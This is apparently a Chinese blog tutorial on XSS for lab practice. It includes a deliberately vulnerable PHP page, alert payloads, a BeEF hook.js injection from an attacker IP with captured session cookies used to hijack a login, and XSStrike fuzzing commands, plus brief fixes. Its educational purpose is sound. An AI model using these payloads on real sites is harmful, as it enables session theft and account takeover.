一、XSS简介与危害
简介
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表CSS(Cascading Style Sheets)的缩写混淆,故将跨站脚本攻击缩写为XSS。
恶意攻击者往Web页面插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
危害
1、盗取各类用户账号,如机器登陆账号、用户网银账号、各类管理员账号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗取企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其他网站发起攻击(重定向语句)
8、窃取cookie的Session id,冒充登陆
二、XSS分类及介绍
XSS攻击分为反射型、存储型和dom型,反射型与dom型十分容易发生混淆,危害较大的为存储类型。
1、反射型案例
案例1
编写.php代码
<?php
$XSS = $_GET['x'];
echo $xss;
?>
存放路径:..\phpStudy\PHPTutorial\WWW
访问以下地址
http://localhost/1.php?x=1 ("1"可以是任意数字字母或脚本命令)
http://localhost/1.php?x=<script>alert(1)</script>
案例2
搜索pikachu靶场,靶场不唯一。
"pikachu" && country="CN" && title="Get the pikachu"
输入字节数受限
由于是GET请求类型可以修改URL
2、存储型案例
URL:http://150.158.176.236/vul/xss/xss_stored.php
<script>alert(1)</script>>
3、dom型案例
URL:http://150.158.176.236/vul/xss/xss_dom.php
' onclick="alert(1)"
dom型案例与服务器没有太大的关系,不需要和服务器交互,攻击纯粹发生在客户端。
三、XSS综合案例
XSS漏洞重现
安装靶场:
1)localhost/jfdd/install/install.php,界面提示错误。在提示路径install目录下删除.lock文件。
再次进入localhost/jfdd/install/install.php地址,进入系统安装界面。
按提示下一步继续完成安装。订单系统界面如下(localhost/jfdd/)
后台登陆地址:http://localhost/jfdd/admin/login.php ,进入管理员登陆界面。
后台查看订单信息
2)使用Beef
- 安装源复制到 vim/etc/apt/sources.list
#阿里源
deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#清华大学源
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#浙大源
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#东软大学源
deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#网易Kali源
deb http://mirrors.163.com/debian wheezy main non-free contrib
deb-src http://mirrors.163.com/debian wheezy main non-free contrib
- 执行
apt update
- 切换root用户,第一次启动需要设置密码。如果忘记密码,可以到 /usr/share/beef-xss/config.yaml查找。
beef-xss
宿主机/虚拟机均可以访问Beef http://192.168.254.134:3000/ui/authentication
用户名:beef 密码:root
- 回到前台提交订单
脚本命令:
<script src="http://192.168.254.134:3000/hook.js"></script>
军锋系统宿主机客户端登陆订单系统查看订单信息即可成为肉机
data:cookie=sensorsdata2015jssdkcross=%7B%22distinct_id%22%3A%2218ce3f016269da-0db484ff6ea35
9-26001951-1296000-18ce3f0162710f2%22%2C%22%24device_id%22%3A%2218ce3f016269da-0db484ff6ea35
9-26001951-1296000-18ce3f0162710f2%22%2C%22props%22%3A%7B%22%24latest_referrer%22%3A%22url%E
7%9A%84domain%E8%A7%A3%E6%9E%90%E5%A4%B1%E8%B4%A5%22%2C%22%24latest_referrer_host%22%3A%22ur
l%E7%9A%84domain%E8%A7%A3%E6%9E%90%E5%A4%B1%E8%B4%A5%22%2C%22%24latest_traffic_source_type%2
2%3A%22url%E7%9A%84domain%E8%A7%A3%E6%9E%90%E5%A4%B1%E8%B4%A5%22%2C%22%24latest_search_keywo
rd%22%3A%22url%E7%9A%84domain%E8%A7%A3%E6%9E%90%E5%A4%B1%E8%B4%A5%22%7D%7D; __utmz=111872281
.1704631212.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); Hm_lvt_93d0ff6a4bef11a770a5f7
ff35ff9221=1704703403;Hm_lvt_ecd4feb5c351cc02583045a5813b5142=1705290743,1705291310,17056423
57,1706490043;__utma=111872281.659366271.1704631212.1705642357.1706490043.7;BEEFHOOK=aPmTDUy
ISZU1uhi9rkrfK4NPBfA6HfYmlqVsQDCG68NiEgnPVukiadjGq0gXgbiE9a9GriT1Nnh1rRoy; PHPSESSID=f2bds1d
6m8s5bldu8ld7m477f6
同时需要在虚拟机浏览器安装hackbar v2插件,F12窗口菜单最右侧hackbar菜单调用,使用宿主机IP+beef抓取cookie,在虚拟机处反向登陆订单系统。
3)案例局限性
- 存在漏洞
- 受限浏览器版本
- 受限订单系统需要登陆
- 受限各种WAF防护
- 受限如何让对端触发(社工问题)
四、XSS绕过技巧与修复
案例Strike
安装依赖
pip install -r requirements.txt
C:\Users\86188\Desktop\tool\XSStrike-master>
以上路径下运行:python xsstrike.py -u "http://localhost/1.php?x=1" --fuzzer
直接探测
1)修改php软件www目录下1.php文件
<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到</title>
</head>
<body>
<h1 align=center>欢迎</h1>
<?php
$xss = $_GET['x'];
echo $xss;
?>
<center>测试XSS</center>
</body>
</html>
2)插件XSStrike-master目录下cmd,输入python xsstrike.py -u "http://localhost/1.php?x=1"命令,根据推荐payload逐一尝试执行相应命令
案例FUZZ
https://github.com/tennc/fuzzdb/
load加载字典xss-payload-list1.txt
修复
httponly
如果您在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,但是并不能防止xss漏洞只能是防止cookie被盗取。
WAF
输入、输出验证
标签:XSS,main,http,kali,22%,Cross,deb,php,Scripting From: https://www.cnblogs.com/zhangwei0885/p/18028437